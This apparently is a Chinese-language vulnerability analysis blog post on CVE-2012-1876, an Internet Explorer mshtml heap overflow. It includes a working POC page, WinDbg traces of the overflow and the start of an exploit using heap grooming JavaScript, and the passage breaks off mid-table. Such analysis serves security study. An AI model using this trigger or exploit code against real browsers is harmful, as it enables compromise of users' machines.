Cve-2012-1876
漏洞介绍
在2012年的Pwn2Own黑客大赛上,来自法国的安全团队Vupen利用两个0day漏洞攻下了Windows 7中的IE9,其中一个0day就是cve-2012-1876。该漏洞主要是因为mshtml.dll中的CImplAry::EnsureSizeWorker函数在创建堆的时候没有对span大小进行验证导致在mshtml!CTableCol::GetAAspan函数复制的时候会产生堆溢出。主要适用的范围为IE6-IE9。
测试环境
操作系统:Win XP
IE版本: 8.0.6001.18702
分析过程
《漏洞战争》书上的内容以及网上找的POC都是用的Win 7做的测试,但不知道为什么我用Win 7的时候,一模一样的步骤但还是失败了,IE直接在打开poc网站的时候就崩溃了,没有断在hpa产生的堆页上,尝试了很多次都不行,最后还是在Win XP上可以实现。
POC代码:
<html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="1" >  </col>
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}
setTimeout("over_trigger();",1);
</script>
</body>
</html>
先把span赋值为1然后在over_trigger运行后把span赋值1000造成溢出。
在调试前先用gflag.exe对IE开启hpa选项,如果直接在windbg附加之后用命令开启会失败。
Debuggers>gflags.exe -i IExplorer +hpa
Current Registry Settings for IExplorer executable are: 02000000
hpa - Enable page heap
打开windbg附加IE。
先看一下,确实已经开启了hpa
0:000> !gflag
Current NtGlobalFlag contents: 0x02000000
hpa - Place heap allocations at ends of pages
这里还需要注意,要开启子进程调试,因为windbg默认情况下是不支持子进程调试的,但在这里IE运行的时候又会衍生出子进程。
0:000> .childdbg 1
Processes created by the current process will be debugged
运行之后拖入poc.html,程序断在了这里。
0:000> g
(988.d9c): Break instruction exception - code 80000003 (first chance)
eax=7ffd4000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=23d6ffcc ebp=23d6fff4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:031> g
(988.95c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=00349000 edi=00349018
eip=3dea32cc esp=0643bed8 ebp=0643bee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050206
mshtml!CTableColCalc::AdjustForCol+0x15:
3dea32cc 890f mov dword ptr [edi],ecx
ds:0023:00349018=????????
查看栈回溯,在当前函数mshtml!CTableColCalc::AdjustForCol中并没发现什么问题,那么应该就在它的上一层函数mshtml!CTableLayout::CalculateMinMax中。
0:014> kb
ChildEBP RetAddr Args to Child
0643bee4 3dd0fad6 00414114 0643c230 00000001
mshtml!CTableColCalc::AdjustForCol+0x15
0643bf9c 3db464c0 00000001 0643c230 000003e8
mshtml!CTableLayout::CalculateMinMax+0x556
0643c1b8 3db4711e 0643c230 0643c1fc 00000001
mshtml!CTableLayout::CalculateLayout+0x276
0643c364 3db3c057 0643d9e0 0643c598 00000000
mshtml!CTableLayout::CalcSizeVirtual+0x71f
0643c49c 3db398f8 00353d80 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
0643c564 3db3965b 00000000 00353d80 00014c6c
mshtml!CFlowLayout::MeasureSite+0x304
0643c5b0 3db39a45 00353bc0 00000061 0643d9e0
mshtml!CFlowLayout::GetSiteWidth+0x153
0643c5f0 3db3a03f 00354108 00353d80 00000001
mshtml!CLSMeasurer::GetSiteWidth+0xce
0643c674 074f4cba 0c446ff8 0643c694 0643c758 mshtml!CEmbeddedILSObj::Fmt+0x14f
0643c704 074f4df5 09f54efc 00000000 09f58d20 msls31!ProcessOneRun+0x3e6
0643c760 074f4f2d 09f54f18 000156d6 00000000 msls31!FetchAppendEscCore+0x18e
0643c7b4 074f4e89 00000000 00000000 00000014 msls31!LsDestroyLine+0x47c
0643c83c 074f2725 00000007 000031de 00000000 msls31!LsDestroyLine+0x9fc
我们在mshtml!CTableLayout::CalculateMinMax函数下一个断点,下断点时候要保证mshtml模块已经加载完毕。
Sxe命令强制加载模块。
0:000> lmm mshtml
start end module name
3da80000 3e037000 mshtml (deferred)
0:000> sxe ld:mshtml
0:000> g
(914.88c): Break instruction exception - code 80000003 (first chance)
eax=7ffd4000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=2342ffcc ebp=2342fff4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:031> bp mshtml!CTableLayout::CalculateMinMax
3db46b8e 8bff mov edi,edi
3db46b90 55 push ebp
3db46b91 8bec mov ebp,esp
3db46b93 81ec98000000 sub esp,98h
3db46b99 53 push ebx
3db46b9a 8b5d08 mov ebx,dword ptr [ebp+8] ;引用CTableLayout对象
3db46b9d 56 push esi
3db46b9e 8b750c mov esi,dword ptr [ebp+0Ch]
3db46ba1 8b4628 mov eax,dword ptr [esi+28h]
3db46ba4 898570ffffff mov dword ptr [ebp-90h],eax
3db46baa 8b4354 mov eax,dword ptr [ebx+54h] ;span属性值的和,记为spannum
3db46bad 894508 mov dword ptr [ebp+8],eax
可以看到第一个值就是spannum的值为1。
0:014> dd ebx+54
1955cefc 00000001 ffffffff ffffffff ffffffff
1955cf0c ffffffff 3db4f7ec 00000004 00000004
1955cf1c 19830ff0 3db4f7ec 00000004 00000004
1955cf2c 1956fff0 00000000 00000000 3db4f7ec
1955cf3c 00000000 00000000 00000000 00000000
1955cf4c 00000000 00000000 00000000 00000000
1955cf5c 00000000 00000000 00000000 00000000
1955cf6c 00000000 00000000 00000000 00000000
继续往下走
3db46c5b 8b5508 mov edx,dword ptr [ebp+8] ;edx=spannum
3db46c5e 8bc2 mov eax,edx
3db46c60 2bc1 sub eax,ecx
3db46c62 8945e4 mov dword ptr [ebp-1Ch],eax
3db46c65 6a00 push 0
3db46c67 58 pop eax
3db46c68 0f94c0 sete al
3db46c6b 894b50 mov dword ptr [ebx+50h],ecx
3db46c6e c1e008 shl eax,8
3db46c71 334344 xor eax,dword ptr [ebx+44h]
3db46c74 2500010000 and eax,100h
3db46c79 314344 xor dword ptr [ebx+44h],eax
ds:0023:1955ceec={IEXPLORE!__dyn_tls_init_callback <PERF> (IEXPLORE+0x12802)
(00412802)}
3db46c7c f6462c01 test byte ptr [esi+2Ch],1
3db46c80 0f858858f5ff jne mshtml!CTableLayout::CalculateMinMax+0x189 (3da9c50e)
3db46c86 33c0 xor eax,eax
3db46c88 0945c8 or dword ptr [ebp-38h],eax
3db46c8b 397d10 cmp dword ptr [ebp+10h],edi
3db46c8e 0f85308b1c00 jne mshtml!CTableLayout::CalculateMinMax+0x19c (3dd0f7c4)
3db46c94 8b8394000000 mov eax,dword ptr [ebx+94h] ;eax用于和spannum作比较,记为spancmp
3db46c9a c1e802 shr eax,2
3db46c9d 3bc2 cmp eax,edx ;如果spannum>spancmp则跳转,这里与书上作者的不一样,书上的是jge跳转的也是另一个位置且不满足跳转,这里跳转的是满足的。但两者之后运行的位置还是一样的。
3db46c9f 0f8cf266f8ff jl mshtml!CTableLayout::CalculateMinMax+0x1e6 (3dacd397)
来到了这个位置
3dacd397 3bd7 cmp edx,edi
3dacd399 8db390000000 lea esi,[ebx+90h]
3dacd39f 0f8c41d40c00 jl mshtml!CTableLayout::CalculateMinMax+0x202 (3db9a7e6)
3dacd3a5 3b5608 cmp edx,dword ptr [esi+8]
3dacd3a8 7613 jbe mshtml!CTableLayout::CalculateMinMax+0x20f (3dacd3bd)
3dacd3aa 6a1c push 1Ch
3dacd3ac 8bc2 mov eax,edx
3dacd3ae 8bfe mov edi,esi
3dacd3b0 e85b7f0800 call mshtml!CImplAry::EnsureSizeWorker (3db55310)
跟进mshtml!CImplAry::EnsureSizeWorker函数可以发现这个函数主要用于分配堆空间。分配的内存大小为spansum * 0x1C,虽然此处spansum为1,但其分配的最小值为0x1C * 4=0x70
mshtml!CImplAry::EnsureSizeWorker:
3db55310 8bff mov edi,edi
3db55312 55 push ebp
3db55313 8bec mov ebp,esp
3db55315 51 push ecx
3db55316 51 push ecx
3db55317 53 push ebx
3db55318 56 push esi
3db55319 8bf0 mov esi,eax
3db5531b 6a04 push 4
3db5531d 58 pop eax
3db5531e 3bf0 cmp esi,eax
3db55320 8945fc mov dword ptr [ebp-4],eax
3db55323 0f8398ccfcff jae mshtml!CImplAry::EnsureSizeWorker+0x15 (3db21fc1)
3db55329 8d45f8 lea eax,[ebp-8]
3db5532c 50 push eax
3db5532d 8b45fc mov eax,dword ptr [ebp-4] ;eax=4
3db55330 f76508 mul eax,dword ptr [ebp+8] ;eax=4*0x1C为分配的空间大小
3db55333 52 push edx
3db55334 50 push eax ;压入空间大小参数
3db55335 e868ffffff call mshtml!ULongLongToUInt (3db552a2) ;转换类型
3db5533a 8bd8 mov ebx,eax
3db5533c 85db test ebx,ebx
3db5533e 7525 jne mshtml!CImplAry::EnsureSizeWorker+0xb6 (3db55365)
3db55340 f6470402 test byte ptr [edi+4],2
3db55344 0f85a0f9faff jne mshtml!CImplAry::EnsureSizeWorker+0x5b (3db04cea)
3db5534a ff75f8 push dword ptr [ebp-8]
3db5534d 8d770c lea esi,[edi+0Ch]
3db55350 e87affffff call mshtml!_HeapRealloc (3db552cf)
3db55355 8bd8 mov ebx,eax
3db55357 85db test ebx,ebx
3db55359 750a jne mshtml!CImplAry::EnsureSizeWorker+0xb6 (3db55365)
3db5535b 8b45fc mov eax,dword ptr [ebp-4]
3db5535e 836704fd and dword ptr [edi+4],0FFFFFFFDh
3db55362 894708 mov dword ptr [edi+8],eax
3db55365 5e pop esi
3db55366 8bc3 mov eax,ebx
3db55368 5b pop ebx
3db55369 c9 leave
3db5536a c20400 ret 4
函数返回地址在CtableLayout+0x9c的位置,也就是ebx+0x9c,创建的大小为0x70
0:013> dd ebx+9c
002a5f0c 0034c328 00000000 00000000 00000000
002a5f1c 00000000 00000000 00000000 00000000
002a5f2c 00000000 000000c8 000000c8 00000000
002a5f3c 00000000 00000000 00000000 00000000
002a5f4c 00000000 00000000 00000000 00000000
002a5f5c 00000000 00000000 00000000 00000000
002a5f6c 00000000 00000000 00000000 ffffffff
002a5f7c 00000001 00000000 00000000 00000000
0:013> dd 0034c328
0034c328 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
0034c338 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
0034c348 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
0034c358 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
0034c368 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
0034c378 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
0034c388 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
0034c398 a0a0a0a0 a0a0a0a0 00000000 00000000
0:013> !heap -p -a 0034c328
address 0034c328 found in
_HEAP @ 260000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0034c300 0015 0000 [03] 0034c328 00070 - (busy)
g运行,因为poc中的over_trigger函数,所以程序还是会运行到第一个断点,也就是CalculateMinMax。第二次断在CalculateMinMax后,spannum不变,spancmp为4,所以不再分配内存。
我们在 mshtml!CTableCol::GetAAspan处下个断点,看看获取的span的值
3dd0f923 8bc7 mov eax,edi
3dd0f925 e8f391e8ff call mshtml!CTableCol::GetAAspan (3db98b1d)
3dd0f92a 3de8030000 cmp eax,3E8h
3dd0f92f 894510 mov dword ptr [ebp+10h],eax
3dd0f932 7c07 jl mshtml!CTableLayout::CalculateMinMax+0x3bb (3dd0f93b)
3dd0f934 c74510e8030000 mov dword ptr [ebp+10h],3E8h
第二次经过mshtml!CTableCol::GetAAspan后发现eax也就是span的值已经为0x3e8,也就是我们在poc中设置的值。
0:013> g
Breakpoint 1 hit
eax=002e6710 ebx=23f54528 ecx=0000002b edx=00000000 esi=23f51bf4 edi=002e6710
eip=3dd0f925 esp=0646bef8 ebp=0646bf9c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CTableLayout::CalculateMinMax+0x3a5:
3dd0f925 e8f391e8ff call mshtml!CTableCol::GetAAspan (3db98b1d)
0:013> p
eax=000003e8 ebx=23f54528 ecx=00000002 edx=002e67f8 esi=23f51bf4 edi=002e6710
eip=3dd0f92a esp=0646bef8 ebp=0646bf9c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CTableLayout::CalculateMinMax+0x3aa:
3dd0f92a 3de8030000 cmp eax,3E8h
程序在这个mshtml!CWidthUnitValue::GetPixelWidth函数里面获取下面复制的内容。
0:013> p
eax=002e62e8 ebx=23f54528 ecx=0031b798 edx=002e67f8 esi=0646c230 edi=00000001
eip=3dd0f9f8 esp=0646bef8 ebp=0646bf9c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CTableLayout::CalculateMinMax+0x478:
3dd0f9f8 6a00 push 0
0:013> p
eax=002e62e8 ebx=23f54528 ecx=0031b798 edx=002e67f8 esi=0646c230 edi=00000001
eip=3dd0f9fa esp=0646bef4 ebp=0646bf9c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CTableLayout::CalculateMinMax+0x47a:
3dd0f9fa 56 push esi
0:013> p
eax=002e62e8 ebx=23f54528 ecx=0031b798 edx=002e67f8 esi=0646c230 edi=00000001
eip=3dd0f9fb esp=0646bef0 ebp=0646bf9c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CTableLayout::CalculateMinMax+0x47b:
3dd0f9fb e85ea5dcff call mshtml!CWidthUnitValue::GetPixelWidth (3dad9f5e)
可以在IDA里面看一下这个函数的算法,a2是CFancyFormat类成员数据,整个函数大概的意思就是把CFancyFormat类成员数据向右移4位。
v7 = *a2;
v8 = *a3;
v9 = *a2 & 0xF;
switch ( v9 )
{
case 0:
return 0;
case 10:
result = sub_3DB48AA1(a2, a5);
if ( !(_BYTE)a7 )
{
if ( a4 )
result = sub_3DDE7D70();
else
result = sub_3DDE7D94();
return result;
}
break;
case 11:
result = sub_3DB3755C(a5 * (signed __int64)(v7 >> 4), 0x64u, 0);
break;
case 12:
if ( a4 )
v12 = v8[1];
else
v12 = *v8;
result = sub_3DB3059F(v7 >> 4, a6 * v12, 14400000);
break;
default:
if ( v9 <= 12 )
return sub_3DB37652(v7 >> 4, v9, a4, a6, v8, a7);
if ( v9 <= 14 )
return v7 >> 4;
if ( v9 != 15 )
return sub_3DB37652(v7 >> 4, v9, a4, a6, v8, a7);
return 0;
}
if ( result < 0 )
{
v11 = -1073741823;
if ( result > -1073741823 )
return result;
}
else
{
v11 = 0x3FFFFFFF;
if ( result < 0x3FFFFFFF )
return result;
}
return v11;
继续往下走,来到mshtml!CTableColCalc::AdjustForCol函数,这个函数的作用就是把数据前面mshtml!CWidthUnitValue::GetPixelWidth获得的数据复制到前面创建的堆中。
3dd0fac2 ff75c0 push dword ptr [ebp-40h]
3dd0fac5 8b45cc mov eax,dword ptr [ebp-34h]
3dd0fac8 ff750c push dword ptr [ebp+0Ch]
3dd0facb 8b75d8 mov esi,dword ptr [ebp-28h]
3dd0face ff75f4 push dword ptr [ebp-0Ch]
3dd0fad1 e8e1371900 call mshtml!CTableColCalc::AdjustForCol (3dea32b7)
edi为堆的地址,ecx为复制的数据,在mov dword ptr [edi],ecx这条语句进行复制。
0:013> p
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=23f51bd8 edi=00000001
eip=3dea32c8 esp=0646bedc ebp=0646bee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
mshtml!CTableColCalc::AdjustForCol+0x11:
3dea32c8 8d7e18 lea edi,[esi+18h]
0:013> p
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=23f51bd8 edi=23f51bf0
eip=3dea32cb esp=0646bedc ebp=0646bee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
mshtml!CTableColCalc::AdjustForCol+0x14:
3dea32cb 50 push eax
0:013> dd 23f51bf0
23f51bf0 00000000 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c00 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c10 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c20 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c30 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c40 e0e0e0e0 e0e0e0e0 a0a0a0a0 a0a0a0a0
23f51c50 00000000 00000000 00150014 011403ed
23f51c60 abcdaaaa 80161000 00000064 0000008c
0:013> p
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=23f51bd8 edi=23f51bf0
eip=3dea32cc esp=0646bed8 ebp=0646bee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
mshtml!CTableColCalc::AdjustForCol+0x15:
3dea32cc 890f mov dword ptr [edi],ecx ds:0023:23f51bf0=00000000
0:013> p
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=23f51bd8 edi=23f51bf0
eip=3dea32ce esp=0646bed8 ebp=0646bee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
mshtml!CTableColCalc::AdjustForCol+0x17:
3dea32ce e80d74c8ff call mshtml!CUnitValue::IsScalerUnit (3db2a6e0)
0:013> dd 23f51bf0
23f51bf0 04141149 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c00 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c10 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c20 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c30 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c40 e0e0e0e0 e0e0e0e0 a0a0a0a0 a0a0a0a0
23f51c50 00000000 00000000 00150014 011403ed
23f51c60 abcdaaaa 80161000 00000064 0000008c
后面的几行也是复制,esi是堆的地址。
0:013> p
eax=00414114 ebx=00414114 ecx=04141149 edx=00004141 esi=23f51bd8 edi=23f51bf0
eip=3dea32dc esp=0646bed4 ebp=0646bee4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CTableColCalc::AdjustForCol+0x25:
3dea32dc e8b029c8ff call mshtml!CUnitValue::SetValue (3db25c91)
0:013> p
eax=04141148 ebx=00414114 ecx=23f51bf0 edx=00004141 esi=23f51bd8 edi=23f51bf0
eip=3dea32e1 esp=0646bedc ebp=0646bee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
mshtml!CTableColCalc::AdjustForCol+0x2a:
3dea32e1 895e04 mov dword ptr [esi+4],ebx ds:0023:23f51bdc=00000000
0:013> dd esi+4
23f51bdc 00000000 00000000 00000000 e0e0e0e0
23f51bec e0e0e0c0 04141148 e0e0e0e0 e0e0e0e0
23f51bfc e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c0c e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c1c e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c2c e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c3c e0e0e0e0 e0e0e0e0 e0e0e0e0 a0a0a0a0
23f51c4c a0a0a0a0 00000000 00000000 00150014
0:013> p
eax=04141148 ebx=00414114 ecx=23f51bf0 edx=00004141 esi=23f51bd8 edi=23f51bf0
eip=3dea32e4 esp=0646bedc ebp=0646bee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
mshtml!CTableColCalc::AdjustForCol+0x2d:
3dea32e4 891e mov dword ptr [esi],ebx ds:0023:23f51bd8=00000000
0:013> dd esi+4
23f51bdc 00414114 00000000 00000000 e0e0e0e0
23f51bec e0e0e0c0 04141148 e0e0e0e0 e0e0e0e0
23f51bfc e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c0c e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c1c e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c2c e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c3c e0e0e0e0 e0e0e0e0 e0e0e0e0 a0a0a0a0
23f51c4c a0a0a0a0 00000000 00000000 00150014
0:013> p
eax=04141148 ebx=00414114 ecx=23f51bf0 edx=00004141 esi=23f51bd8 edi=23f51bf0
eip=3dea32e6 esp=0646bedc ebp=0646bee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
mshtml!CTableColCalc::AdjustForCol+0x2f:
3dea32e6 eb2a jmp mshtml!CTableColCalc::AdjustForCol+0x5b (3dea3312)
0:013> dd esi+4
23f51bdc 00414114 00000000 00000000 e0e0e0e0
23f51bec e0e0e0c0 04141148 e0e0e0e0 e0e0e0e0
23f51bfc e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c0c e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c1c e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c2c e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c3c e0e0e0e0 e0e0e0e0 e0e0e0e0 a0a0a0a0
23f51c4c a0a0a0a0 00000000 00000000 00150014
0:013> dd esi
23f51bd8 00414114 00414114 00000000 00000000
23f51be8 e0e0e0e0 e0e0e0c0 04141148 e0e0e0e0
23f51bf8 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c08 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c18 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c28 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c38 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c48 a0a0a0a0 a0a0a0a0 00000000 00000000
0:013> p
eax=04141148 ebx=00414114 ecx=23f51bf0 edx=00004141 esi=23f51bd8 edi=23f51bf0
eip=3dea3312 esp=0646bedc ebp=0646bee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
mshtml!CTableColCalc::AdjustForCol+0x5b:
3dea3312 5f pop edi
0:013> p
eax=04141148 ebx=00414114 ecx=23f51bf0 edx=00004141 esi=23f51bd8 edi=00000001
eip=3dea3313 esp=0646bee0 ebp=0646bee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
mshtml!CTableColCalc::AdjustForCol+0x5c:
3dea3313 895e08 mov dword ptr [esi+8],ebx ds:0023:23f51be0=00000000
0:013> p
eax=04141148 ebx=00414114 ecx=23f51bf0 edx=00004141 esi=23f51bd8 edi=00000001
eip=3dea3316 esp=0646bee0 ebp=0646bee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
mshtml!CTableColCalc::AdjustForCol+0x5f:
3dea3316 5b pop ebx
0:013> dd esi
23f51bd8 00414114 00414114 00414114 00000000
23f51be8 e0e0e0e0 e0e0e0c0 04141148 e0e0e0e0
23f51bf8 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c08 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c18 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c28 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c38 e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
23f51c48 a0a0a0a0 a0a0a0a0 00000000 00000000
走出函数,循环跳转的过程是这样的
循环结束的条件是这里的eax大于ptr[ebp+10h],eax就是当前循环的次数,而[ebp+10h]就是前面获取的span,这里是1000。
3dd0fae0 3b4510 cmp eax,dword ptr [ebp+10h] ss:0023:0646bfac=000003e8
3dd0fae3 7caf jl mshtml!CTableLayout::CalculateMinMax+0x514 (3dd0fa94)
0:013> p
eax=00000002 ebx=23f54528 ecx=23f51c0c edx=00004141 esi=23f51bf4 edi=00000001
eip=3dd0fae0 esp=0646bef8 ebp=0646bf9c iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040212
mshtml!CTableLayout::CalculateMinMax+0x560:
3dd0fae0 3b4510 cmp eax,dword ptr [ebp+10h] ss:0023:0646bfac=000003e8
0:013> dd ebp+10
0646bfac 000003e8 00000000 23f54528 23f54528
0646bfbc 3db3c057 3db4c101 3db41b8e 00000000
0646bfcc ffffffff 00000000 00898ef8 1f3fd5cd
0646bfdc 00000000 00000000 ffffffff 00000000
0646bfec 7c931600 00000000 00000000 7c98c5a6
0646bffc 00000038 00000000 00000000 0646c02c
0646c00c 7c98c622 00000000 00000000 00000010
0646c01c 00000038 002e62e8 00000000 3db75594
但我们之前创建的堆只有0x70大小,所以导致了溢出。
漏洞利用
整体的思路大概是因为可以通过栈溢出来读取CButtonLayout的虚表指针,虚表指针和漏洞所在的mshtml.dll的偏移是一个固定值,这样就可以泄露出模块的地址来绕过ASLR,然后构造一个ROP调用VirtualProtect修改内存属性来绕过DEP。最后用堆喷把shellcode和rop喷射到绕过DEP的地址,从而执行任意代码。
调试exp的时候需要注意关闭之前开启的堆页,不然会不能执行(之前没考虑到,在这里卡了点时间)。
绕过ASLR
我们来看看exp,首先第一部分是创建了三个大小为500的堆,并且从第200个开始+2的释放中间的堆,这里是利用了Windows下堆管理的机制,分配的这些堆空间最终会紧挨在一起。同时当某块堆空间被释放后如果接下来又有新的申请堆空间操作且和之前释放掉的空间大小差不多,那么会将释放掉的该堆空间重新分配给此时的申请操作。
var dap = "EEEE";
while ( dap.length < 480 ) dap += dap;
var padding = "AAAA";
while ( padding.length < 480 ) padding += padding;
var filler = "BBBB";
while ( filler.length < 480 ) filler += filler;
//spray
var arr = new Array();
var rra = new Array();
var div_container = document.getElementById("test");
div_container.style.cssText = "display:none";
for (var i=0; i < 500; i+=2) {
// E
rra[i] = dap.substring(0, (0x100-6)/2);
// S, bstr = A
arr[i] = padding.substring(0, (0x100-6)/2);
// A, bstr = B
arr[i+1] = filler.substring(0, (0x100-6)/2);
// B
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i=200; i<500; i+=2 ) {
rra[i] = null;
CollectGarbage();
}
下面这段代码是程序将为其分配0x1C*9=0xFC字节大小的堆空间,而在布局时释放掉的那些堆空间大小为0x100字节,所以最后释放掉的那块堆空间将会重新分配来保存column的样式信息,之所以id从0-132是为了增加第132的命中率,前面的都是为它准备。
</script>
<table style="table-layout:fixed" ><col id="0" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="1" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="2" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="3" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="4" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="5" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="6" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="7" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="8" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="9" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="10" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="11" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="12" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="13" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="14" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="15" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="16" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="17" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="18" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="19" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="20" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="21" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="22" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="23" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="24" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="25" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="26" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="27" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="28" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="29" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="30" width="41" span="9" >  </col></table><table 